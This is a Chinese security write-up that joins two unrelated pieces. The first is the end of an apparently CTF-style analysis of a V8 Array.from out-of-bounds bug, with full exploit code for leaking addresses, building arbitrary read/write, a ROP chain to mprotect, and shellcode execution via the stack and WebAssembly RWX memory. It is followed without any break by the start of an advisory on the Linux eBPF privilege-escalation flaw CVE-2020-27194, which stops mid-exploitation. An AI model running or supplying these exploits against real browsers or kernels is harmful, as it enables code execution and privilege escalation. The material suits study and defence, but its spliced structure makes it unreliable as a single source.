arrays.push(array);
+ objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
+let obj_index;
+let obj_offset;
+//find Objects
+for(let i=0;i<maxSize;i++)
+{
+ let val=ct.f2i(oobArray[i]);
+ if(val===0x123400000000)
+ {
+ obj_offset=i;
+ console.log("[*]find target objecets in oobArray number ["+i+"]");
+ oobArray[i]=ct.i2f(0x123500000000);
+ break;
+ }
+}
+for(let i=0;i<100;i++)
+{
+ if(objs[i].a===0x1235){
+ console.log("[*]find target objs number ["+i+"]");
+ obj_index=i;
+ break;
+ }
+}
制造一个可控对象obj，在通过oobArray泄露obj的属性a。要leak一个对象的地址，只需要将对象绑定到obj的a属性，然后oobArray泄露地址即可。
class ArbitraryRW
{
+ leak_obj(obj){
+ objs[obj_index].a = obj;
+ return ct.f2i(oobArray[obj_offset]) - 1;
+ }
...
}
然后我们就可以布置Shellcode和ROP链，通过ROP来调用mprotect将shellcode所在地址空间的属性改为RWX。至于如何控制程序流，就这个技巧之前也没接触过，就是向栈中写retn，希望在程序退栈的时候能踩到上面，然后一路retn到我们布置在高位的rop链。一开始想多覆盖一些retn，不过程序直接崩了，覆盖少量的反而成功率更高。
Stack的地址，我们可以通过libc中的全局变量environ来获得stack的一个高位指针。
$ readelf -r ~/libc.so.6 |grep environ
0000003c2df8 011b00000006 R_X86_64_GLOB_DAT 00000000003c5f98 _environ@@GLIBC_2.2.5 + 0
0000003c2eb8 051100000006 R_X86_64_GLOB_DAT 00000000003c5f98 __environ@@GLIBC_2.2.5 + 0
代码如下
//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);
ptr=wr.read(shellcode_addr+0x18)-1; //获取shellcode地址
shellcode_addr=wr.read(ptr+0x20); //TypeArray --> ArrayBuffer
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]; //弹出一个计算器
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}
//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]
//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));
let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<100;i++) //过多的覆盖反而会导致段错误，10～100都可以
{
wr.write(rop_addr-i*8,retn);
}
完整的利用见附录。
_写利用的时候碰到了很多看似玄学的东西，困扰了很久，为了彻底搞懂花费了不少时间。虽然最很多自己想出的解决方案也都没什么营养，但最终把问题搞明白也是一个非常煎熬也是非常有意思的过程。比如在泄漏libc地址的时候，成功泄漏了main_arena+152的地址，但是后来去内存里了一看，fd的位置的值是0x0。查了好几遍都没找到，实在是很玄学，直到我在泄露前下了一个断点，发现泄露当时这个fd是存在的，只不过后来又被malloc掉了。毕竟我们利用js泄露地址时，并没有控制EIP，所以背后的程序还是在跑，堆空间也总是在变化。_
**Wasm执行shellcode**
Wasm是一种可以让JS执行机器码的技术，我们可以借助Wasm来写入自己的shellcode。
要生成Wasm，最方便的方案是直接用大神写好的生成网站，可以将我们的C语言生成为调用Wasm的JS代码。
<https://wasdk.github.io/WasmFiddle/>
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());
将网站底部生成的wasmCode和右上角的JS代码结合，就能运行C编译出的字节码。当然这个C并不能进行系统调用，所以直接用C写shellcode自然是不行的。不过我们可以通过自己的任意地址写，将自己的shellcode写入Wasm的RWX内存区域（但是并不是Wasm的AST，具体的我也不是特别了解）。
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
通过leak_obj函数将WASM的地址泄露，然后通过WASM的结构（在release下）一步步将RWX空间读取出来。需要注意的是根据不同版本的v8，数据结构可能不同
，所以需要更具实际调试结果为准。此处的结构如下
**_wasmInstance.exports.main f- >shared_info->code+0x70_**
获取RWX地址，直接将shellcode写进去就行了。之后只需要调用这个WASM函数就可以执行我们的shellcode。
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();
#### JIT
在较早期版本的v8引擎中，经常使用向JIT写入shellcode的方式。不过在6.7版本之后，JIT的区域会被标记为不可写。可以考虑JIT
Spray/JIT ROP之类的绕过。这里我们就实验如何找到JIT的这块内存为止。
与写入WASM一样要通过数据的结构来寻找JIT的内存，索引关系如下
**_JSFunction- >kCodeEntry Offset_**
//让function变hot
function f()
{
for(let i=0;i<0x1000000;i++)
{
let a='migraine';
}
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));
### 小结
这个漏洞来自v8对JS函数array.from的实现，开发者没有考虑到在array.from中也可以输入数组，所以造成了一个数组越界漏洞。一般来说数组越界的漏洞都比较好利用，不过写利用的时候遇到不少坑（可能因为我太菜了。
单说利用，有这几点需要思考。
* 1.需要考虑的是gc的回收的问题，何时回收，会对我们的内存结构有什么影响
* 2.为什么大量进行读取之后，原本控制的ArrayBuffer位置跑飞了，如何避免
* 3.除了对stack进行retn覆盖，有什么办法来触发ROP（思考一下stack povit可以吗）
[欢迎讨论](https://migraine-sudo.github.io)
* * *
## JS基础
**_Symbol.iterator_**
ES6标准新增的迭代器，对象编写迭代器后可以使用for … of 这些语法来进行迭代。
Array数组中自带Symbol.iterator。
var a=[1,2,3,4,5]
console.log([...a]); //1,2,3,4,5
让我们编写一个迭代器
_Demo_
let obj={
0:'a',
1:'b',
2:'c',
length:3,
[Symbol.iterator]:function(){ //迭代器实现
let index=0;
let next=()=>{ //迭代器必须包含一个next函数
return{
value:this[index], //输出
done:this.length==++index //判断退出条件
}
}
return {next}
}
};
console.log(obj.length); // 3
console.log([...obj]); // a,b
for(let p of obj)
{
console.log(p); //a b
}
**_call()_**
call方法在js对象中可以用修改this对象，让我们写一个小实验。
_Demo_
var name='migraine1',age=18;
var obj={
name:'migraine2',
objAge:this.age,
myFun:function(){
console.log(this.name+" age "+this.age);
}
}
var db={
name:'migraine3',
age:81
}
obj.myFun(); //migraine2 age undefined
obj.myFun.call(db); //migraine3 age 81
第一次调用obj.myFun()，this的两个值得注意。funciton内的this并不是全局this，无法调用obj外部的age，所以this.age变成了undefined。而在function外部的objAge:this.age中的this则是全局的this。
第二次调用obj.myFun().call(db)，this对象被修改为了db，于是输出了db的name和age，这就是call函数的作用。能够将this对象指向obj外的其他对象。
call也支持带参数的function，Demo如下
var obj={
name:'migraine2',
myFun:function(age){ //带参的function
console.log(this.name+" age "+age);
}
}
var db={
name:'migraine3'
}
obj.myFun.call(db,'18'); //migraine3 age 18
**Array.from**
Array.from()方法就是将一个类数组对象或者可遍历对象转换成一个真正的数组。
类数组对象需要满足基本要求是具有length属性。
**Array.from(arrayLike[, mapFn[, thisArg]])**
**arrayLike** ：被转换的的对象。
**mapFn：map** 函数。
**thisArg：map** 函数中this指向的对象。
_Demo_
let oobArray = [];
console.log(Array.from([1,2,3,4],(n)=>n+1)); //2,3,4,5
console.log(Array.from.call(oobArray,[1,2,3,4],(n)=>n+1)); //2,3,4,5
从Demo可以看出，call并不影响Array.from函数的使用，修改this为oobArray对象。
在poc中,将this指向oobArray对象，然后将一个包含迭代器的类数组对象转化为数组。之后oobArray迭代输出来验证这个过程。(需要删除oobArray.length
= 0;)
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ()...});
console.log(...oobArray);//0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16....
Array.from的Polyfill实现可以参考
[Array.from:Polyfill](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from#Polyfill)
## v8基础
**_关于V8对象的基础可以看我整理的[V8基础](https://migraine-sudo.github.io/2020/02/15/v8/)，在这部分补充一些与题目相关的v8内容。_**
**_FixedArray_** 是 _v8_ 中定义一类固定长度的数组类 _(src/object/fixed-array.h)_
也是在Object中最常见的一类数组，包括Elements和Property的数据都是存放在FixedArray中。
_类之间的父子关系如下，箭头指向继承的结构，可以结合源代码消化_
//继承关系
HeapObject-->FixedArrayBase-->FixedArray
| |
v v
map length
//数据结构
FixedArray
|__ map__|
|_length_|
| values |
| ... |
## 扩展阅读
[ES6-Symbol.iterator 迭代器](https://www.cnblogs.com/set-promise/p/10810734.html)
[JavaScript 中 call()、apply()、bind() 的用法](https://www.runoob.com/w3cnote/js-call-apply-bind.html)
[从一道CTF题零基础学V8漏洞利用](https://www.freebuf.com/vuls/203721.html)
[821137-V8引擎数组越界漏洞分析及利用](https://www.sunxiaokong.xyz/2020-01-16/lzx-roll-a-d8/)
## 附录
### 使用libc泄露的exploit
适用情况：只能在Ubuntu16.04（glibc2.23）下成功exploit，其他版本需要调整
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}
let obj_index;
let obj_offset;
//find Objects
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}
class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}
let wr=new ArbitraryRW();
let heap=wr.leak()-0x10;
console.log("[*]leak backing store address="+hex(heap));
chunk=heap;
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
for(let i=0;i<0x5000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;
break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}
size=parseInt(size/8)*8;
chunk+=size;
}
if(finded!==0)
{
libc_base=parseInt(finded/0x100)*0x100-0x3c3b00;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}
//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);
ptr=wr.read(shellcode_addr+0x18)-1;
shellcode_addr=wr.read(ptr+0x20);
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}
//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]
//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));
let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<10;i++)
{
wr.write(rop_addr-i*8,retn);
}
//malloc hook
/*
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
*/
//oobArray[oobArray.length - 1] = 0x41414141; //触发crash
### 通过Wasm写入shellcode
适用情况:任意版本的Linux
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}
let obj_index;
let obj_offset;
//find Objects
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}
class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}
let wr=new ArbitraryRW();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f(); | 社区文章 |
# CVE-2020-27194：Linux Kernel eBPF模块提权漏洞的分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞背景
2020年11月01日， 360CERT监测到国外安全研究人员simon 通过fuzz 在Linux
内核的ebpf模块中发现一个越界读写的漏洞，可导致权限提升，CVE编号: CVE-2020-27194。
该漏洞是由于eBPF验证程序中进行or操作时未正确计算寄存器范围，进而引发越界读取和写入。该漏洞存在于 _5.8.x_
内核分支，目前有部分发行版使用了此分支，如Fedora 33 和 Ubuntu 20.10 。
2020年11月03日，360CERT对该漏洞进行了详细分析，并完成漏洞利用。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 高危
影响面 | 一般
360CERT评分 | 7.8
## 0x03 影响版本
影响 _5.8.x_ 版本及以上的Linux 内核分支
影响应用该分支的发行版：Fedora 33 、Ubuntu 20.10
## 0x04 环境搭建
（1）下载源码
git clone <https://github.com/torvalds/linux.git>
git checkout 5b9fbeb75b6a98955f628e205ac26689bcb1383e~1
5b9fbeb75b6a98955f628e205ac26689bcb1383e 为修复漏洞的补丁，我们将分支切换到前一个补丁
（2）编译内核
make default
make menuconfig
make -j8
关闭随机化，开启调试信息和ebpf选项
Processor type and features --->
[ ] Randomize the address of the kernel image (KASLR)
Kernel hacking --->
Compile-time checks and compiler options --->
[*] Compile the kernel with debug info
General setup --->
[*] Enable bpf() system call
## 0x05 漏洞分析
### 5.1 eBPF 介绍
eBPF是extended Berkeley Packet
Filter的缩写。起初是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙，安全，内核调试与性能分析等领域。
eBPF程序的运行过程如下：在用户空间生产eBPF“字节码”，然后将“字节码”加载进内核中的“虚拟机”中，然后进行一些列检查，通过则能够在内核中执行这些“字节码”。类似Java与JVM虚拟机，但是这里的虚拟机是在内核中的。
bpf程序的执行流程如下图：
### 5.2 漏洞成因
漏洞点在scalar_min_max_or()函数：
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 【1】
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
由于【1】处的将64位的值赋值到32位的变量上，导致截断，进而错误计算了寄存器的范围，从而绕过bpf的检查，导致越界读写。
具体可以看Poc生成的日志：
……
9: (79) r5 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
……
9：用户的值通过r5寄存器传入值 2
10：r0 赋值给r8，r0保存map的地址，对触发漏洞无影响
11：r0 赋值为1，否则会认为r0 泄露map指针产生报错
12： r6赋值为0x600000002
14：通过r5 < r6 的条件判断使得r5寄存器的无符号范围最大为umax_value=25769803777=0x600000001
16：通过r > 0x0 的条件判断使得r5寄存器的无符号范围最小为umin_value=1
18：对r5进行or运算，触发漏洞函数scalar_min_max_or，调用到漏洞函数中的【1】处，赋值后r5寄存器的s32_min_value=1，s32_max_value=1
19：将r5赋值为r6，得到r6为invP1 ，说明检查模块认为r6是常数1，而实际此时r6为2
20：对r6进行右移操作，此时检查模块认为r6得到的结果为invP0（常数0），而实际此时r6为1
具体调试过程如下：
dst_reg->umin_value 的值为1， dst_reg->umax_value
的值为0x600000001，而在赋值dst_reg->s32_max_value的过程中发生了截断（64位的值赋值到32位的有符号整数），导致dst_reg->s32_max_value的值为1，此时目标寄存器的32位范围为（1，1），因此bpf的验证模块认为这是常数1。
当我们传入2时，对其进行右移操作，验证模块认为是1>>1=0，而实际是2 >>1 =
1，所以可以对其进行乘法操作构造成任意数，因为在验证模块看来只是0乘以任意数，结果都是0，从而绕过检查，可以对map指针进行任意加减，造成越界读写。
## 0x06 漏洞利用
该漏洞利用和CVE-2020-8835 类似，可以参考之前笔者对CVE-2020-8835 的利用构造：
### 6.1 越界读写进行信息泄露
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);
key_size：表示索引的大小范围，key_size=sizeof(int)=4.
value_size：表示map数组每个元素的大小范围，可以任意，只要控制在一个合理的范围
max_entries：表示map数组的大小，编写利用时将其设为1
**泄露内核地址**
